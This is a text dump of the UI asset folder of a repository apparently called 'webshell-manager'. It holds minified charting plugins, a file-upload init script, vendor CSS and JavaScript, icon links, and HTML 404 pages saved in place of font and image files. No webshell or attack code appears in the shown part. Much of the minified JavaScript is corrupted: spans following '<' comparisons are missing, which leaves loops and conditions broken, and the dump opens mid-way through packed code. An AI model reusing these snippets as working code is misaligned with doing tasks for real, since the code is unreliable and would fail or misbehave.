s=e+n;st){s=t}$("#18").19(s);1a(s>4[0]){7=4;4=o[i++]}9(s==4[0]){r.6([s,4[1]]);7=4;4=o[i++]}11{3 u=(4[1]-7[1])/(4[0]-7[0]);16=u*s+(7[1]-u*7[0]);r.6([s,16])}}j r}b v(){3 n=[];p++;1b(c){14"1c":n=d.w(-1*p);y;14"1h":n=d.w(d.8/2-p/2,d.8/2+p/2);y;1d:n=d.w(0,p);y}9(!u){13=n[0][0];12=n[n.8-1][0];n=[];q(3 i=0;i=13&&o[i][0]<=12){n.6(o[i])}}}t[r].x=pindex)index=categories[v];return index+1}function categoriesTickGenerator(axis){var res=[];for(var label in axis.categories){var v=axis.categories[label];if(v>=axis.min&&v<=axis.max)res.push([v,label])}res.sort(function(a,b){return a[0]-b[0]});return res}function setupCategoriesForAxis(series,axis,datapoints){if(series[axis].options.mode!="categories")return;if(!series[axis].categories){var c={},o=series[axis].options.categories||{};if($.isArray(o)){for(var i=0;i2&&(horizontal?datapoints.format[2].x:datapoints.format[2].y),withsteps=withlines&&s.lines.steps,fromgap=true,keyOffset=horizontal?1:0,accumulateOffset=horizontal?0:1,i=0,j=0,l,m;while(true){if(i>=points.length)break;l=newpoints.length;if(points[i]==null){for(m=0;m=otherpoints.length){if(!withlines){for(m=0;mqx){if(withlines&&i>0&&points[i-ps]!=null){intery=py+(points[i-ps+accumulateOffset]-py)*(qx-px)/(points[i-ps+keyOffset]-px);newpoints.push(qx);newpoints.push(intery+qy);for(m=2;m0&&otherpoints[j-otherps]!=null)bottom=qy+(otherpoints[j-otherps+accumulateOffset]-qy)*(px-qx)/(otherpoints[j-otherps+keyOffset]-qx);newpoints[l+accumulateOffset]+=bottom;i+=ps}fromgap=false;if(l!=newpoints.length&&withbottom)newpoints[l+2]+=bottom}if(withsteps&&l!=newpoints.length&&l>0&&newpoints[l]!=null&&newpoints[l]!=newpoints[l-ps]&&newpoints[l+1]!=newpoints[l-ps+1]){for(m=0;m') 53 | .text('Upload server currently unavailable - ' + 54 | new Date()) 55 | .appendTo('#fileupload'); 56 | }); 57 | } 58 | } else { 59 | // Load existing files: 60 | $('#fileupload').addClass('fileupload-processing'); 61 | $.ajax({ 62 | // Uncomment the following to send cross-domain cookies: 63 | //xhrFields: {withCredentials: true}, 64 | url: $('#fileupload').fileupload('option', 'url'), 65 | dataType: 'json', 66 | context: $('#fileupload')[0] 67 | }).always(function () { 68 | $(this).removeClass('fileupload-processing'); 69 | }).done(function (result) { 70 | $(this).fileupload('option', 'done') 71 | .call(this, $.Event('done'), {result: result}); 72 | }); 73 | } 74 | 75 | }); 76 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/jquery-file-upload/img/loading.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/jquery-file-upload/img/loading.gif -------------------------------------------------------------------------------- /UI/assets/js/vendor/jquery-file-upload/img/progressbar.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/jquery-file-upload/img/progressbar.gif -------------------------------------------------------------------------------- /UI/assets/js/vendor/jvectormaps/css/jquery-jvectormap-1.2.2.css: -------------------------------------------------------------------------------- 1 | .jvectormap-label { 2 | position: absolute; 3 | display: none; 4 | border: solid 1px #CDCDCD; 5 | -webkit-border-radius: 3px; 6 | -moz-border-radius: 3px; 7 | border-radius: 3px; 8 | background: #292929; 9 | color: white; 10 | font-family: sans-serif, Verdana; 11 | font-size: smaller; 12 | padding: 3px; 13 | } 14 | 15 | .jvectormap-zoomin, .jvectormap-zoomout { 16 | position: absolute; 17 | left: 10px; 18 | -webkit-border-radius: 3px; 19 | -moz-border-radius: 3px; 20 | border-radius: 3px; 21 | background: #292929; 22 | padding: 3px; 23 | color: white; 24 | width: 10px; 25 | height: 10px; 26 | cursor: pointer; 27 | line-height: 10px; 28 | text-align: center; 29 | } 30 | 31 | .jvectormap-zoomin { 32 | top: 10px; 33 | } 34 | 35 | .jvectormap-zoomout { 36 | top: 30px; 37 | } 38 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/morris/css/morris.css: -------------------------------------------------------------------------------- 1 | .morris-hover{position:absolute;z-index:1000;}.morris-hover.morris-default-style{border-radius:10px;padding:6px;color:#666;background:rgba(255, 255, 255, 0.8);border:solid 2px rgba(230, 230, 230, 0.8);font-family:sans-serif;font-size:12px;text-align:center;}.morris-hover.morris-default-style .morris-hover-row-label{font-weight:bold;margin:0.25em 0;} 2 | .morris-hover.morris-default-style .morris-hover-point{white-space:nowrap;margin:0.1em 0;} 3 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/no-ui-slider/css/jquery.nouislider.min.css: -------------------------------------------------------------------------------- 1 | .noUi-target,.noUi-target *{-webkit-touch-callout:none;-webkit-user-select:none;-ms-touch-action:none;-ms-user-select:none;-moz-user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.noUi-base{width:100%;height:100%;position:relative}.noUi-origin{position:absolute;right:0;top:0;left:0;bottom:0}.noUi-handle{position:relative;z-index:1}.noUi-stacking .noUi-handle{z-index:10}.noUi-stacking+.noUi-origin{*z-index:-1}.noUi-state-tap .noUi-origin{-webkit-transition:left .3s,top .3s;transition:left .3s,top .3s}.noUi-state-drag *{cursor:inherit!important}.noUi-horizontal{height:18px}.noUi-horizontal .noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.noUi-horizontal.noUi-extended{padding:0 15px}.noUi-horizontal.noUi-extended .noUi-origin{right:-15px}.noUi-vertical{width:18px}.noUi-vertical .noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.noUi-vertical.noUi-extended{padding:15px 0}.noUi-vertical.noUi-extended .noUi-origin{bottom:-15px}.noUi-background{background:#FAFAFA;box-shadow:inset 0 1px 1px #f0f0f0}.noUi-connect{background:#3FB8AF;box-shadow:inset 0 0 3px rgba(51,51,51,.45);-webkit-transition:background 450ms;transition:background 450ms}.noUi-origin{border-radius:2px}.noUi-target{border-radius:4px;border:1px solid #D3D3D3;box-shadow:inset 0 1px 1px #F0F0F0,0 3px 6px -5px #BBB}.noUi-target.noUi-connect{box-shadow:inset 0 0 3px rgba(51,51,51,.45),0 3px 6px -5px #BBB}.noUi-dragable{cursor:w-resize}.noUi-vertical .noUi-dragable{cursor:n-resize}.noUi-handle{border:1px solid #D9D9D9;border-radius:3px;background:#FFF;cursor:default;box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #EBEBEB,0 3px 6px -3px #BBB}.noUi-active{box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #DDD,0 3px 6px -3px #BBB}.noUi-handle:after,.noUi-handle:before{content:"";display:block;position:absolute;height:14px;width:1px;background:#E8E7E6;left:14px;top:6px}.noUi-handle:after{left:17px}.noUi-vertical .noUi-handle:after,.noUi-vertical .noUi-handle:before{width:14px;height:1px;left:6px;top:14px}.noUi-vertical .noUi-handle:after{top:17px}[disabled] .noUi-connect,[disabled].noUi-connect{background:#B8B8B8}[disabled] .noUi-handle{cursor:not-allowed}.noUi-state-blocked .noUi-connect,.noUi-state-blocked.noUi-connect{background:#4FDACF} 2 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/owl-carousel/css/AjaxLoader.gif: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/owl-carousel/css/AjaxLoader.gif was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/owl-carousel/css/grabbing.png: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/owl-carousel/css/grabbing.png was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/owl-carousel/css/owl.carousel.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Core Owl Carousel CSS File 3 | * v1.3.2 4 | */ 5 | 6 | /* clearfix */ 7 | .owl-carousel .owl-wrapper:after { 8 | content: "."; 9 | display: block; 10 | clear: both; 11 | visibility: hidden; 12 | line-height: 0; 13 | height: 0; 14 | } 15 | /* display none until init */ 16 | .owl-carousel{ 17 | display: none; 18 | position: relative; 19 | width: 100%; 20 | -ms-touch-action: pan-y; 21 | } 22 | .owl-carousel .owl-wrapper{ 23 | display: none; 24 | position: relative; 25 | -webkit-transform: translate3d(0px, 0px, 0px); 26 | } 27 | .owl-carousel .owl-wrapper-outer{ 28 | overflow: hidden; 29 | position: relative; 30 | width: 100%; 31 | } 32 | .owl-carousel .owl-wrapper-outer.autoHeight{ 33 | -webkit-transition: height 500ms ease-in-out; 34 | -moz-transition: height 500ms ease-in-out; 35 | -ms-transition: height 500ms ease-in-out; 36 | -o-transition: height 500ms ease-in-out; 37 | transition: height 500ms ease-in-out; 38 | } 39 | 40 | .owl-carousel .owl-item{ 41 | float: left; 42 | } 43 | .owl-controls .owl-page, 44 | .owl-controls .owl-buttons div{ 45 | cursor: pointer; 46 | } 47 | .owl-controls { 48 | -webkit-user-select: none; 49 | -khtml-user-select: none; 50 | -moz-user-select: none; 51 | -ms-user-select: none; 52 | user-select: none; 53 | -webkit-tap-highlight-color: rgba(0, 0, 0, 0); 54 | } 55 | 56 | /* mouse grab icon */ 57 | .grabbing { 58 | cursor:url(grabbing.png) 8 8, move; 59 | } 60 | 61 | /* fix */ 62 | .owl-carousel .owl-wrapper, 63 | .owl-carousel .owl-item{ 64 | -webkit-backface-visibility: hidden; 65 | -moz-backface-visibility: hidden; 66 | -ms-backface-visibility: hidden; 67 | -webkit-transform: translate3d(0,0,0); 68 | -moz-transform: translate3d(0,0,0); 69 | -ms-transform: translate3d(0,0,0); 70 | } 71 | 72 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/owl-carousel/css/owl.theme.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Owl Carousel Owl Demo Theme 3 | * v1.3.2 4 | */ 5 | 6 | .owl-theme .owl-controls{ 7 | margin-top: 10px; 8 | text-align: center; 9 | } 10 | 11 | /* Styling Next and Prev buttons */ 12 | 13 | .owl-theme .owl-controls .owl-buttons div{ 14 | color: #FFF; 15 | display: inline-block; 16 | zoom: 1; 17 | *display: inline;/*IE7 life-saver */ 18 | margin: 5px; 19 | padding: 3px 10px; 20 | font-size: 12px; 21 | -webkit-border-radius: 30px; 22 | -moz-border-radius: 30px; 23 | border-radius: 30px; 24 | background: #869791; 25 | filter: Alpha(Opacity=50);/*IE7 fix*/ 26 | opacity: 0.5; 27 | } 28 | /* Clickable class fix problem with hover on touch devices */ 29 | /* Use it for non-touch hover action */ 30 | .owl-theme .owl-controls.clickable .owl-buttons div:hover{ 31 | filter: Alpha(Opacity=100);/*IE7 fix*/ 32 | opacity: 1; 33 | text-decoration: none; 34 | } 35 | 36 | /* Styling Pagination*/ 37 | 38 | .owl-theme .owl-controls .owl-page{ 39 | display: inline-block; 40 | zoom: 1; 41 | *display: inline;/*IE7 life-saver */ 42 | } 43 | .owl-theme .owl-controls .owl-page span{ 44 | display: block; 45 | width: 12px; 46 | height: 12px; 47 | margin: 5px 7px; 48 | filter: Alpha(Opacity=50);/*IE7 fix*/ 49 | opacity: 0.5; 50 | -webkit-border-radius: 20px; 51 | -moz-border-radius: 20px; 52 | border-radius: 20px; 53 | background: #869791; 54 | } 55 | 56 | .owl-theme .owl-controls .owl-page.active span, 57 | .owl-theme .owl-controls.clickable .owl-page:hover span{ 58 | filter: Alpha(Opacity=100);/*IE7 fix*/ 59 | opacity: 1; 60 | } 61 | 62 | /* If PaginationNumbers is true */ 63 | 64 | .owl-theme .owl-controls .owl-page span.owl-numbers{ 65 | height: auto; 66 | width: auto; 67 | color: #FFF; 68 | padding: 2px 10px; 69 | font-size: 12px; 70 | -webkit-border-radius: 30px; 71 | -moz-border-radius: 30px; 72 | border-radius: 30px; 73 | } 74 | 75 | /* preloading images */ 76 | .owl-item.loading{ 77 | min-height: 150px; 78 | background: url(AjaxLoader.gif) no-repeat center center 79 | } 80 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/summernote/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/summernote/fonts/glyphicons-halflings-regular.eot was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/summernote/fonts/glyphicons-halflings-regular.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/summernote/fonts/glyphicons-halflings-regular.svg was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/summernote/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/summernote/fonts/glyphicons-halflings-regular.ttf was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/summernote/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- 1 | 2 | 3 | 404 Not Found 4 | 5 |

Not Found

6 |

The requested URL /minimal/assets/js/vendor/summernote/fonts/glyphicons-halflings-regular.woff was not found on this server.

7 |

Additionally, a 404 Not Found 8 | error was encountered while trying to use an ErrorDocument to handle the request.

9 | 10 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/superbox/css/style.css: -------------------------------------------------------------------------------- 1 | /* 2 | Todd Motto Labs 3 | URL: www.toddmotto.com 4 | */ 5 | 6 | /*------------------------------------*\ 7 | SuperBox 8 | \*------------------------------------*/ 9 | 10 | /* SuperBox */ 11 | .superbox-list { 12 | display:inline-block; 13 | *display:inline; 14 | zoom:1; 15 | width:16.5%; 16 | padding: 0 15px 15px 15px; 17 | cursor: pointer; 18 | } 19 | .superbox-show { 20 | text-align:center; 21 | position:relative; 22 | background:#333; 23 | box-shadow:inset 0 1px 5px #111; 24 | -webkit-box-shadow:inset 0 1px 5px #111; 25 | -moz-box-shadow:inset 0 1px 5px #111; 26 | width:100%; 27 | float:left; 28 | padding:25px; 29 | display:none; 30 | margin-bottom: 15px; 31 | } 32 | .superbox-float { 33 | float:left; 34 | } 35 | .superbox-close { 36 | opacity:0.7; 37 | cursor:pointer; 38 | position:absolute; 39 | top:25px; 40 | right:25px; 41 | background:url(../img/close.gif) no-repeat center center; 42 | width:35px; 43 | height:35px; 44 | } 45 | .superbox-close:hover { 46 | opacity:1; 47 | } 48 | @media only screen and (min-width: 320px) { 49 | .superbox-list { 50 | width:100%; 51 | } 52 | } 53 | @media only screen and (min-width: 486px) { 54 | .superbox-list { 55 | width: 49%; 56 | } 57 | } 58 | @media only screen and (min-width: 1025px) { 59 | .superbox-list { 60 | width: 33%; 61 | } 62 | } 63 | @media only screen and (min-width: 1500px) { 64 | .superbox-list { 65 | width: 24.8%; 66 | } 67 | } 68 | @media only screen and (min-width: 1900px) { 69 | .superbox-list { 70 | width: 16.5%; 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/superbox/img/close.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/assets/js/vendor/superbox/img/close.gif -------------------------------------------------------------------------------- /UI/assets/js/vendor/superbox/superbox.js: -------------------------------------------------------------------------------- 1 | /* 2 | SuperBox v1.0.0 3 | by Todd Motto: http://www.toddmotto.com 4 | Latest version: https://github.com/toddmotto/superbox 5 | 6 | Copyright 2013 Todd Motto 7 | Licensed under the MIT license 8 | http://www.opensource.org/licenses/mit-license.php 9 | 10 | SuperBox, the lightbox reimagined. Fully responsive HTML5 image galleries. 11 | */ 12 | ;(function($) { 13 | 14 | $.fn.SuperBox = function(options) { 15 | 16 | var superbox = $('
'); 17 | var superboximg = $(''); 18 | var superboxclose = $('
'); 19 | 20 | superbox.append(superboximg).append(superboxclose); 21 | 22 | return this.each(function() { 23 | 24 | $('.superbox-list').click(function() { 25 | 26 | var currentimg = $(this).find('.superbox-img'); 27 | var imgData = currentimg.data('img'); 28 | superboximg.attr('src', imgData); 29 | 30 | if($('.superbox-current-img').css('opacity') == 0) { 31 | $('.superbox-current-img').animate({opacity: 1}); 32 | } 33 | 34 | if ($(this).next().hasClass('superbox-show')) { 35 | superbox.toggle(); 36 | } else { 37 | superbox.insertAfter(this).css('display', 'block'); 38 | } 39 | 40 | $('html, body').animate({ 41 | scrollTop:superbox.position().top - currentimg.width() 42 | }, 'medium'); 43 | 44 | }); 45 | 46 | $('.superbox').on('click', '.superbox-close', function() { 47 | $('.superbox-current-img').animate({opacity: 0}, 200, function() { 48 | $('.superbox-show').slideUp(); 49 | }); 50 | }); 51 | 52 | }); 53 | }; 54 | })(jQuery); -------------------------------------------------------------------------------- /UI/assets/js/vendor/tabdrop/bootstrap-tabdrop.min.js: -------------------------------------------------------------------------------- 1 | /* ========================================================= 2 | * bootstrap-tabdrop.js 3 | * http://www.eyecon.ro/bootstrap-tabdrop 4 | * ========================================================= 5 | * Copyright 2012 Stefan Petre 6 | * 7 | * Licensed under the Apache License, Version 2.0 (the "License"); 8 | * you may not use this file except in compliance with the License. 9 | * You may obtain a copy of the License at 10 | * 11 | * http://www.apache.org/licenses/LICENSE-2.0 12 | * 13 | * Unless required by applicable law or agreed to in writing, software 14 | * distributed under the License is distributed on an "AS IS" BASIS, 15 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | * See the License for the specific language governing permissions and 17 | * limitations under the License. 18 | * ========================================================= */ 19 | 20 | !function(t){var n=function(){var n,e=[],o=!1,d=function(){clearTimeout(n),n=setTimeout(i,100)},i=function(){for(var t=0,n=e.length;n>t;t++)e[t].apply()};return{register:function(n){e.push(n),o===!1&&(t(window).bind("resize",d),o=!0)},unregister:function(t){for(var n=0,o=e.length;o>n;n++)if(e[n]==t){delete e[n];break}}}}(),e=function(e,o){this.element=t(e),this.padding=parseInt(this.element.css("padding-top")),this.dropdown=t('').prependTo(this.element),this.element.parent().is(".tabs-below")&&this.dropdown.addClass("dropup"),n.register(t.proxy(this.layout,this)),this.layout()};e.prototype={constructor:e,layout:function(){var n=[],e=this.padding;this.dropdown.removeClass("hide"),this.element.append(this.dropdown.find("li")).find(">li").not(".tabdrop").each(function(){this.offsetTop>e&&n.push(this)}),n.length>0?(n=t(n),this.dropdown.find("ul").empty().append(n),console.log(n.length),this.dropdown.find(".badge").text(n.length),1==this.dropdown.find(".active").length?this.dropdown.addClass("active"):this.dropdown.removeClass("active")):this.dropdown.addClass("hide")}},t.fn.tabdrop=function(n){return this.each(function(){var o=t(this),d=o.data("tabdrop"),i="object"==typeof n&&n;d||o.data("tabdrop",d=new e(this,t.extend({},t.fn.tabdrop.defaults,i))),"string"==typeof n&&d[n]()})},t.fn.tabdrop.defaults={text:''},t.fn.tabdrop.Constructor=e}(window.jQuery); 21 | 22 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/tabdrop/css/tabdrop.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Tab drop for Bootstrap 3 | * 4 | * Copyright 2012 Stefan Petre 5 | * Licensed under the Apache License v2.0 6 | * http://www.apache.org/licenses/LICENSE-2.0 7 | * 8 | */ 9 | .nav-tabs, 10 | .nav-pills { 11 | position: relative; 12 | } 13 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/typeahead/css/typeahead.js-bootstrap.css: -------------------------------------------------------------------------------- 1 | .twitter-typeahead .tt-query, 2 | .twitter-typeahead .tt-hint { 3 | margin-bottom: 0; 4 | } 5 | 6 | .tt-dropdown-menu { 7 | min-width: 160px; 8 | margin-top: 2px; 9 | padding: 5px 0; 10 | background-color: #fff; 11 | border: 1px solid #ccc; 12 | border: 1px solid rgba(0,0,0,.2); 13 | *border-right-width: 2px; 14 | *border-bottom-width: 2px; 15 | -webkit-border-radius: 6px; 16 | -moz-border-radius: 6px; 17 | border-radius: 6px; 18 | -webkit-box-shadow: 0 5px 10px rgba(0,0,0,.2); 19 | -moz-box-shadow: 0 5px 10px rgba(0,0,0,.2); 20 | box-shadow: 0 5px 10px rgba(0,0,0,.2); 21 | -webkit-background-clip: padding-box; 22 | -moz-background-clip: padding; 23 | background-clip: padding-box; 24 | } 25 | 26 | .tt-suggestion { 27 | display: block; 28 | padding: 3px 20px; 29 | } 30 | 31 | .tt-suggestion.tt-is-under-cursor { 32 | color: #fff; 33 | background-color: #0081c2; 34 | background-image: -moz-linear-gradient(top, #0088cc, #0077b3); 35 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3)); 36 | background-image: -webkit-linear-gradient(top, #0088cc, #0077b3); 37 | background-image: -o-linear-gradient(top, #0088cc, #0077b3); 38 | background-image: linear-gradient(to bottom, #0088cc, #0077b3); 39 | background-repeat: repeat-x; 40 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0) 41 | } 42 | 43 | .tt-suggestion.tt-is-under-cursor a { 44 | color: #fff; 45 | } 46 | 47 | .tt-suggestion p { 48 | margin: 0; 49 | } 50 | -------------------------------------------------------------------------------- /UI/assets/js/vendor/videobackground/css/jquery.videobackground.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * jQuery Video Background plugin 3 | * https://github.com/georgepaterson/jquery-videobackground 4 | * 5 | * Copyright 2011, George Paterson 6 | * Dual licensed under the MIT or GPL Version 2 licenses. 7 | * 8 | */ 9 | /* 10 | * The following styles are for example only. 11 | * Styling will likely be project specific. 12 | * 13 | */ 14 | .ui-video-background { 15 | position: absolute; 16 | top: 30px; 17 | left: 840px; 18 | } 19 | .ui-video-background-controls { 20 | margin: 0; 21 | padding: 0 10px; 22 | } 23 | .ui-video-background-controls li { 24 | float: left; 25 | padding: 10px; 26 | } 27 | -------------------------------------------------------------------------------- /UI/css/VarelaRound.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: 'Varela Round'; 3 | font-style: normal; 4 | font-weight: 400; 5 | src: local('Varela Round'), local('VarelaRound-Regular'), url(../fonts/VarelaRound.ttf) format('truetype'); 6 | } -------------------------------------------------------------------------------- /UI/css/custom_colors.html: -------------------------------------------------------------------------------- 1 | 2 | 404 Not Found 3 | 4 |

404 Not Found 5 |

6 | The resource requested could not be found on this server!
7 | Powered By LiteSpeed Web Server
8 | LiteSpeed Technologies is not responsible for administration and contents of this web site! 9 | -------------------------------------------------------------------------------- /UI/css/icons/aboutus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/aboutus.png -------------------------------------------------------------------------------- /UI/css/icons/android.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/android.png -------------------------------------------------------------------------------- /UI/css/icons/announce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/announce.png -------------------------------------------------------------------------------- /UI/css/icons/blog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/blog.png -------------------------------------------------------------------------------- /UI/css/icons/calendar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/calendar.png -------------------------------------------------------------------------------- /UI/css/icons/clients.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/clients.png -------------------------------------------------------------------------------- /UI/css/icons/connection-w.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/connection-w.png -------------------------------------------------------------------------------- /UI/css/icons/connection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/connection.png -------------------------------------------------------------------------------- /UI/css/icons/contact.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/contact.png -------------------------------------------------------------------------------- /UI/css/icons/doc-list.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/doc-list.png -------------------------------------------------------------------------------- /UI/css/icons/drupal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/drupal.png -------------------------------------------------------------------------------- /UI/css/icons/faq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/faq.png -------------------------------------------------------------------------------- /UI/css/icons/grid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/grid.png -------------------------------------------------------------------------------- /UI/css/icons/home.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/home.png -------------------------------------------------------------------------------- /UI/css/icons/info-icon-b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/info-icon-b.png -------------------------------------------------------------------------------- /UI/css/icons/info-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/info-icon.png -------------------------------------------------------------------------------- /UI/css/icons/link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/link.png -------------------------------------------------------------------------------- /UI/css/icons/magnifier.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/magnifier.png -------------------------------------------------------------------------------- /UI/css/icons/mail-b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/mail-b.png -------------------------------------------------------------------------------- /UI/css/icons/mail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/mail.png -------------------------------------------------------------------------------- /UI/css/icons/pencil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/pencil.png -------------------------------------------------------------------------------- /UI/css/icons/phone.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/phone.png -------------------------------------------------------------------------------- /UI/css/icons/portfolio.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/portfolio.png -------------------------------------------------------------------------------- /UI/css/icons/services.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/services.png -------------------------------------------------------------------------------- /UI/css/icons/social-facebook.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/social-facebook.png -------------------------------------------------------------------------------- /UI/css/icons/social-twitter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/social-twitter.png -------------------------------------------------------------------------------- /UI/css/icons/social-whale.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/social-whale.png -------------------------------------------------------------------------------- /UI/css/icons/social-youtube.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/css/icons/social-youtube.png -------------------------------------------------------------------------------- /UI/css/icons/star-icon-b.png: -------------------------------------------------------------------------------- 